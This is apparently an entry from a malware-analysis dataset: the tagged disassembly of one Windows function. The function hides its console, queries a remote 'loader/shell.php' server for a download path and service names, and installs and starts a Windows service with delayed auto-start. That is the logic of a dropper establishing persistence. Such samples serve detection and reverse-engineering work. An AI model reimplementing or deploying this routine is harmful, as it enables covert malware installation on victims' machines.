Function at 0x1400018b0
Capabilities:
Hide graphical window
Query environment variable

Disassembly:
push rbp
sub rsp, 0xb60
lea rbp, [rsp + 0x80]
call fcn.14000d660
mov dword [rbp + 0xa34], 0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 0xa28], rax
mov rcx, qword [rbp + 0xa28]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0x9f0]
call fcn.140020560
lea rcx, [rbp + 0x9d8]
call fcn.14001f6f0
lea rcx, [rbp + 0x9f0]
call fcn.140020490
test al, 1
jne 0x140001944
lea rcx, [rbp + 0x9f0]
call fcn.140020190
test al, 1
jne 0x140001944
lea rcx, [rbp + 0x9d8]
call fcn.14001f4e0
test al, 1
jne 0x140001944
jmp 0x14000195d
mov dword [rbp + 0xa34], 1
mov dword [rbp + 0x9d4], 1
jmp 0x140002667
lea rcx, [rbp + 0x9c0]
call fcn.140021120
lea rcx, [rbp + 0x950]
call fcn.14001f3a0
lea rcx, [rbp + 0x940]
call fcn.1400212b0
lea rcx, [rbp + 0x920]
lea rdx, [0x14013a050]
lea r8, str._cloader_shell.php_
call fcn.1400f8300
lea rcx, [rbp + 0x880]
lea rdx, [0x14013a050]
lea r8, str._download_
call fcn.1400f8300
lea rcx, [rbp + 0x8a0]
lea rdx, [rbp + 0x880]
lea r8, [0x14013a030]
call fcn.1400f8150
lea rcx, [rbp + 0x8c0]
lea rdx, [rbp + 0x8a0]
lea r8, [0x1401010ae]
call fcn.1400f8100
lea rcx, [rbp + 0x8e0]
lea rdx, [rbp + 0x8c0]
lea r8, [0x14013a070]
call fcn.1400f8150
lea rcx, [rbp + 0x900]
lea rdx, [rbp + 0x8e0]
lea r8, str._service.exe
call fcn.1400f8100
lea rcx, [rbp + 0x8e0]
call fcn.1400caa10
lea rcx, [rbp + 0x8c0]
call fcn.1400caa10
lea rcx, [rbp + 0x8a0]
call fcn.1400caa10
lea rcx, [rbp + 0x880]
call fcn.1400caa10
lea rax, [rbp + 0x6f8]
mov qword [rbp - 0x28], rax
lea rcx, [rbp + 0x6d8]
lea rdx, [rbp + 0x920]
lea r8, str.actionget_pathusername
call fcn.1400f8300
mov rcx, qword [rbp - 0x28]
lea rdx, [rbp + 0x6d8]
lea r8, [0x14013a030]
call fcn.1400f8150
mov rax, qword [rbp - 0x28]
add rax, 0x20
mov qword [rbp - 0x20], rax
lea rcx, [rbp + 0x6b8]
lea rdx, [rbp + 0x920]
lea r8, str.actionget_filenameusername
call fcn.1400f8300
mov rcx, qword [rbp - 0x20]
lea rdx, [rbp + 0x6b8]
lea r8, [0x14013a030]
call fcn.1400f8150
mov rax, qword [rbp - 0x20]
add rax, 0x20
mov qword [rbp - 0x18], rax
lea rcx, [rbp + 0x698]
lea rdx, [rbp + 0x920]
lea r8, str.actionget_service_pathusername
call fcn.1400f8300
mov rcx, qword [rbp - 0x18]
lea rdx, [rbp + 0x698]
lea r8, [0x14013a030]
call fcn.1400f8150
mov rax, qword [rbp - 0x18]
add rax, 0x20
mov qword [rbp - 0x10], rax
lea rcx, [rbp + 0x678]
lea rdx, [rbp + 0x920]
lea r8, str.actionget_service_nameusername
call fcn.1400f8300
mov rcx, qword [rbp - 0x10]
lea rdx, [rbp + 0x678]
lea r8, [0x14013a030]
call fcn.1400f8150
mov rax, qword [rbp - 0x10]
add rax, 0x20
mov qword [rbp - 8], rax
lea rcx, [rbp + 0x658]
lea rdx, [rbp + 0x920]
lea r8, str.actionget_service_exenameusername
call fcn.1400f8300
mov rcx, qword [rbp - 8]
lea rdx, [rbp + 0x658]
lea r8, [0x14013a030]
call fcn.1400f8150
mov rax, qword [rbp - 8]
add rax, 0x20
mov qword [rbp], rax
lea rcx, [rbp + 0x638]
lea rdx, [rbp + 0x920]
lea r8, str.actionget_service_descriptionusername
call fcn.1400f8300
mov rcx, qword [rbp]
lea rdx, [rbp + 0x638]
lea r8, [0x14013a030]
call fcn.1400f8150
mov rax, qword [rbp]
add rax, 0x20
mov qword [rbp + 8], rax
lea rcx, [rbp + 0x618]
lea rdx, [rbp + 0x920]
lea r8, str.actionget_path_wdusername
call fcn.1400f8300
mov rcx, qword [rbp + 8]
lea rdx, [rbp + 0x618]
lea r8, [0x14013a030]
call fcn.1400f8150
mov rcx, qword [rbp + 8]
add rcx, 0x20
mov qword [rbp + 0x10], rcx
lea rdx, [rbp + 0x920]
lea r8, str.actioncreate
call fcn.1400f8300
mov rcx, qword [rbp + 0x10]
add rcx, 0x20
mov qword [rbp + 0x18], rcx
lea rdx, [rbp + 0x920]
lea r8, str.actionadd
call fcn.1400f8300
mov rcx, qword [rbp + 0x18]
add rcx, 0x20
mov qword [rbp + 0x20], rcx
lea rdx, [rbp + 0x920]
lea r8, str.actionset
call fcn.1400f8300
mov rcx, qword [rbp + 0x20]
add rcx, 0x20
lea rdx, [rbp + 0x920]
lea r8, str.actionstart
call fcn.1400f8300
lea rax, [rbp + 0x6f8]
mov qword [rbp + 0x858], rax
mov qword [rbp + 0x860], 0xb
lea rax, [rbp + 0x617]
mov qword [rbp + 0xa78], rax
mov rax, qword [rbp + 0xa78]
mov qword [rbp + 0xad8], rax
lea rcx, [rbp + 0x868]
lea rdx, [rbp + 0x858]
lea r8, [rbp + 0x617]
call fcn.1400bc9c0
lea rax, [rbp + 0x617]
mov qword [rbp + 0xa90], rax
mov rcx, qword [rbp + 0xa90]
call fcn.1400ae060
lea rax, [rbp + 0x6f8]
mov qword [rbp + 0x28], rax
add rax, 0x160
mov qword [rbp + 0x30], rax
mov rcx, qword [rbp + 0x30]
add rcx, 0xffffffffffffffe0
mov qword [rbp - 0x30], rcx
call fcn.1400caa10
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp - 0x30]
cmp rax, rcx
mov qword [rbp + 0x30], rax
jne 0x140001ced
lea rcx, [rbp + 0x618]
call fcn.1400caa10
lea rcx, [rbp + 0x638]
call fcn.1400caa10
lea rcx, [rbp + 0x658]
call fcn.1400caa10
lea rcx, [rbp + 0x678]
call fcn.1400caa10
lea rcx, [rbp + 0x698]
call fcn.1400caa10
lea rcx, [rbp + 0x6b8]
call fcn.1400caa10
lea rcx, [rbp + 0x6d8]
call fcn.1400caa10
lea rcx, [rbp + 0x5c8]
lea rax, [rbp + 0x5c7]
mov qword [rbp + 0xa38], rax
mov rax, qword [rbp + 0xa38]
mov qword [rbp + 0xac0], rax
lea rdx, [0x1401012fc]
lea r8, [rbp + 0x5c7]
call fcn.1400ca910
lea rax, [rbp + 0x5c8]
mov qword [rbp + 0x5e8], rax
mov qword [rbp + 0x5f0], 1
lea rax, [rbp + 0x5c6]
mov qword [rbp + 0xa80], rax
mov rax, qword [rbp + 0xa80]
mov qword [rbp + 0xad0], rax
lea rcx, [rbp + 0x5f8]
lea rdx, [rbp + 0x5e8]
lea r8, [rbp + 0x5c6]
call fcn.1400bc9c0
lea rax, [rbp + 0x5c6]
mov qword [rbp + 0xa98], rax
mov rcx, qword [rbp + 0xa98]
call fcn.1400ae060
lea rax, [rbp + 0x5c8]
mov qword [rbp - 0x40], rax
add rax, 0x20
mov qword [rbp - 0x38], rax
mov rcx, qword [rbp - 0x38]
add rcx, 0xffffffffffffffe0
mov qword [rbp - 0x48], rcx
call fcn.1400caa10
mov rcx, qword [rbp - 0x40]
mov rax, qword [rbp - 0x48]
cmp rax, rcx
mov qword [rbp - 0x38], rax
jne 0x140001e19
lea rax, [rbp + 0x5c7]
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.1400aea10
lea rcx, [rbp + 0x5f8]
call fcn.1400015d0
test al, 1
jne 0x140001e72
jmp 0x140001ead
lea rcx, [rbp + 0x950]
lea rdx, [0x14013a030]
call fcn.14001f2a0
test al, 1
jne 0x140001e92
jmp 0x140001ead
lea rcx, [rbp + 0x950]
lea rdx, [0x14013a030]
call fcn.14001f1f0
test al, 1
jne 0x140001ec6
mov dword [rbp + 0xa34], 1
mov dword [rbp + 0x9d4], 1
jmp 0x140002613
lea rcx, [rbp + 0x868]
call fcn.1400308f0
mov rdx, rax
lea rax, [rbp + 0x5a7]
mov qword [rbp + 0xa88], rax
mov rax, qword [rbp + 0xa88]
mov qword [rbp + 0xac8], rax
lea rcx, [rbp + 0x5a8]
lea r8, [rbp + 0x5a7]
call fcn.1400bca50
lea rax, [rbp + 0x5a7]
mov qword [rbp + 0xaa0], rax
mov rcx, qword [rbp + 0xaa0]
call fcn.1400ae060
mov qword [rbp + 0x598], 0
mov rax, qword [rbp + 0x598]
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x868]
call fcn.1400308f0
mov rcx, rax
mov rax, qword [rbp - 0x50]
cmp rax, rcx
jae 0x1400020a5
mov rdx, qword [rbp + 0x598]
lea rcx, [rbp + 0x868]
call fcn.1400bcb20
mov r8, rax
lea rcx, [rbp + 0x578]
lea rdx, [rbp + 0x9c0]
call fcn.140020c60
lea rcx, [rbp + 0x578]
mov edx, 0x25
xor eax, eax
mov r8d, eax
call fcn.1400341a0
mov qword [rbp + 0x570], rax
cmp qword [rbp + 0x570], 0xffffffffffffffff
je 0x140002060
mov r8, qword [rbp + 0x570]
add r8, 1
lea rcx, [rbp + 0x578]
mov edx, 0x25
call fcn.1400341a0
mov qword [rbp + 0x568], rax
cmp qword [rbp + 0x568], 0xffffffffffffffff
je 0x14000205b
mov r8, qword [rbp + 0x570]
mov r9, qword [rbp + 0x568]
sub r9, qword [rbp + 0x570]
add r9, 1
lea rcx, [rbp + 0x548]
lea rdx, [rbp + 0x578]
call fcn.1400343d0
lea rcx, [rbp + 0x548]
call fcn.140034230
mov rcx, rax
lea rdx, [rbp + 0x340]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov rdx, qword [rbp + 0x570]
mov r8, qword [rbp + 0x568]
sub r8, qword [rbp + 0x570]
add r8, 1
lea r9, [rbp + 0x340]
lea rcx, [rbp + 0x578]
call fcn.1400c8770
lea rcx, [rbp + 0x548]
call fcn.1400caa10
jmp 0x140002060
mov rdx, qword [rbp + 0x598]
lea rcx, [rbp + 0x5a8]
call fcn.1400bcb20
mov rcx, rax
lea rdx, [rbp + 0x578]
call fcn.1400cab70
lea rcx, [rbp + 0x578]
call fcn.1400caa10
mov rax, qword [rbp + 0x598]
add rax, 1
mov qword [rbp + 0x598], rax
jmp 0x140001f29
lea rcx, [rbp + 0x868]
mov edx, 8
call fcn.1400bcb20
mov r8, rax
lea rcx, [rbp + 0x2e0]
lea rdx, [rbp + 0x940]
call fcn.1400211d0
lea rcx, [rbp + 0x300]
lea rdx, [rbp + 0x2e0]
lea r8, [0x1401012fe]
call fcn.1400f8100
lea rcx, [rbp + 0x5a8]
mov edx, 6
call fcn.1400bcb20
mov r8, rax
lea rcx, [rbp + 0x320]
lea rdx, [rbp + 0x300]
call fcn.1400f8150
lea rcx, [rbp + 0x320]
call fcn.1400017f0
lea rcx, [rbp + 0x320]
call fcn.1400caa10
lea rcx, [rbp + 0x300]
call fcn.1400caa10
lea rcx, [rbp + 0x2e0]
call fcn.1400caa10
lea rcx, [rbp + 0x868]
mov edx, 7
call fcn.1400bcb20
mov r8, rax
lea rcx, [rbp + 0x200]
lea rdx, [rbp + 0x940]
call fcn.1400211d0
lea rcx, [rbp + 0x220]
lea rdx, [rbp + 0x200]
lea r8, [0x1401012fe]
call fcn.1400f8100
lea rcx, [rbp + 0x5a8]
mov edx, 3
call fcn.1400bcb20
mov r8, rax
lea rcx, [rbp + 0x240]
lea rdx, [rbp + 0x220]
call fcn.1400f8150
lea rcx, [rbp + 0x260]
lea rdx, [rbp + 0x240]
lea r8, str._binPath__
call fcn.1400f8100
lea rcx, [rbp + 0x5a8]
mov edx, 2
call fcn.1400bcb20
mov r8, rax
lea rcx, [rbp + 0x280]
lea rdx, [rbp + 0x260]
call fcn.1400f8150
lea rcx, [rbp + 0x5a8]
mov edx, 4
call fcn.1400bcb20
mov r8, rax
lea rcx, [rbp + 0x2a0]
lea rdx, [rbp + 0x280]
call fcn.1400f8150
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x2a0]
lea r8, str.__start_delayed_auto_error_ignore
call fcn.1400f8100
lea rcx, [rbp + 0x2c0]
call fcn.1400017f0
lea rcx, [rbp + 0x2c0]
call fcn.1400caa10
lea rcx, [rbp + 0x2a0]
call fcn.1400caa10
lea rcx, [rbp + 0x280]
call fcn.1400caa10
lea rcx, [rbp + 0x260]
call fcn.1400caa10
lea rcx, [rbp + 0x240]
call fcn.1400caa10
lea rcx, [rbp + 0x220]
call fcn.1400caa10
lea rcx, [rbp + 0x200]
call fcn.1400caa10
lea rcx, [rbp + 0x868]
mov edx, 9
call fcn.1400bcb20
mov r8, rax
lea rcx, [rbp + 0x160]
lea rdx, [rbp + 0x940]
call fcn.1400211d0
lea rcx, [rbp + 0x5a8]
mov edx, 3
call fcn.1400bcb20
mov r8, rax
lea rcx, [rbp + 0x180]
lea rdx, [rbp + 0x160]
call fcn.1400f8150
lea rcx, [rbp + 0x1a0]
lea rdx, [rbp + 0x180]
lea r8, str.__Name_Description__Value_
call fcn.1400f8100
lea rcx, [rbp + 0x5a8]
mov edx, 5
call fcn.1400bcb20
mov r8, rax
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x1a0]
call fcn.1400f8150
lea rcx, [rbp + 0x1e0]
lea rdx, [rbp + 0x1c0]
lea r8, [0x14010139c]
call fcn.1400f8100
lea rcx, [rbp + 0x1e0]
call fcn.1400017f0
lea rcx, [rbp + 0x1e0]
call fcn.1400caa10
lea rcx, [rbp + 0x1c0]
call fcn.1400caa10
lea rcx, [rbp + 0x1a0]
call fcn.1400caa10
lea rcx, [rbp + 0x180]
call fcn.1400caa10
lea rcx, [rbp + 0x160]
call fcn.1400caa10
lea rcx, [rbp + 0x900]
call fcn.140034230
mov qword [rbp + 0x158], rax
lea rcx, [rbp + 0x5a8]
mov edx, 4
call fcn.1400bcb20
mov rcx, rax
call fcn.140034230
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x148], 0
cmp qword [rbp + 0x148], 1
jae 0x14000256b
mov rax, qword [rbp + 0x148]
mov rdx, qword [rbp + rax*8 + 0x158]
lea rax, [rbp + 0x107]
mov qword [rbp + 0xa40], rax
mov rax, qword [rbp + 0xa40]
mov qword [rbp + 0xab8], rax
lea rcx, [rbp + 0x108]
lea r8, [rbp + 0x107]
call fcn.1400ca910
lea rcx, [rbp + 0x5a8]
xor eax, eax
mov edx, eax
call fcn.1400bcb20
mov qword [rbp - 0x58], rax
mov rax, qword [rbp + 0x148]
mov rdx, qword [rbp + rax*8 + 0x150]
lea rax, [rbp + 0x9f]
mov qword [rbp + 0xa48], rax
mov rax, qword [rbp + 0xa48]
mov qword [rbp + 0xab0], rax
lea rcx, [rbp + 0xa0]
lea r8, [rbp + 0x9f]
call fcn.1400ca910
mov rdx, qword [rbp - 0x58]
lea rcx, [rbp + 0xc0]
lea r8, [rbp + 0xa0]
call fcn.1400f82b0
lea rcx, [rbp + 0xc0]
call fcn.140034230
mov rdx, rax
lea rax, [rbp + 0x9e]
mov qword [rbp + 0xa50], rax
mov rax, qword [rbp + 0xa50]
mov qword [rbp + 0xaa8], rax
lea rcx, [rbp + 0xe0]
lea r8, [rbp + 0x9e]
call fcn.1400ca910
lea rcx, [rbp + 0x128]
lea rdx, [rbp + 0x9c0]
lea r8, [rbp + 0x108]
lea r9, [rbp + 0xe0]
call fcn.140020eb0
lea rcx, [rbp + 0x128]
call fcn.1400caa10
lea rcx, [rbp + 0xe0]
call fcn.1400caa10
lea rax, [rbp + 0x9e]
mov qword [rbp + 0xa60], rax
mov rcx, qword [rbp + 0xa60]
call fcn.1400aea10
lea rcx, [rbp + 0xc0]
call fcn.1400caa10
lea rcx, [rbp + 0xa0]
call fcn.1400caa10
lea rax, [rbp + 0x9f]
mov qword [rbp + 0xa68], rax
mov rcx, qword [rbp + 0xa68]
call fcn.1400aea10
lea rcx, [rbp + 0x108]
call fcn.1400caa10
lea rax, [rbp + 0x107]
mov qword [rbp + 0xa70], rax
mov rcx, qword [rbp + 0xa70]
call fcn.1400aea10
mov rax, qword [rbp + 0x148]
add rax, 1
mov qword [rbp + 0x148], rax
jmp 0x1400023b6
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x868]
mov edx, 0xa
call fcn.1400bcb20
mov r8, rax
lea rcx, [rbp + 0x38]
lea rdx, [rbp + 0x940]
call fcn.1400211d0
lea rcx, [rbp + 0x58]
lea rdx, [rbp + 0x38]
lea r8, [0x1401012fe]
call fcn.1400f8100
lea rcx, [rbp + 0x5a8]
mov edx, 3
call fcn.1400bcb20
mov r8, rax
lea rcx, [rbp + 0x78]
lea rdx, [rbp + 0x58]
call fcn.1400f8150
lea rcx, [rbp + 0x78]
call fcn.1400017f0
lea rcx, [rbp + 0x78]
call fcn.1400caa10
lea rcx, [rbp + 0x58]
call fcn.1400caa10
lea rcx, [rbp + 0x38]
call fcn.1400caa10
mov dword [rbp + 0xa34], 0
mov dword [rbp + 0x9d4], 1
lea rcx, [rbp + 0x5a8]
call fcn.1400bcab0
lea rcx, [rbp + 0x5f8]
call fcn.1400bcab0
lea rcx, [rbp + 0x868]
call fcn.1400bcab0
lea rcx, [rbp + 0x900]
call fcn.1400caa10
lea rcx, [rbp + 0x920]
call fcn.1400caa10
lea rcx, [rbp + 0x940]
call fcn.1400212d0
lea rcx, [rbp + 0x950]
call fcn.14001f490
lea rcx, [rbp + 0x9c0]
call fcn.140021180
lea rcx, [rbp + 0x9d8]
call fcn.140020170
lea rcx, [rbp + 0x9f0]
call fcn.140020c20
mov eax, dword [rbp + 0xa34]
add rsp, 0xb60
pop rbp
ret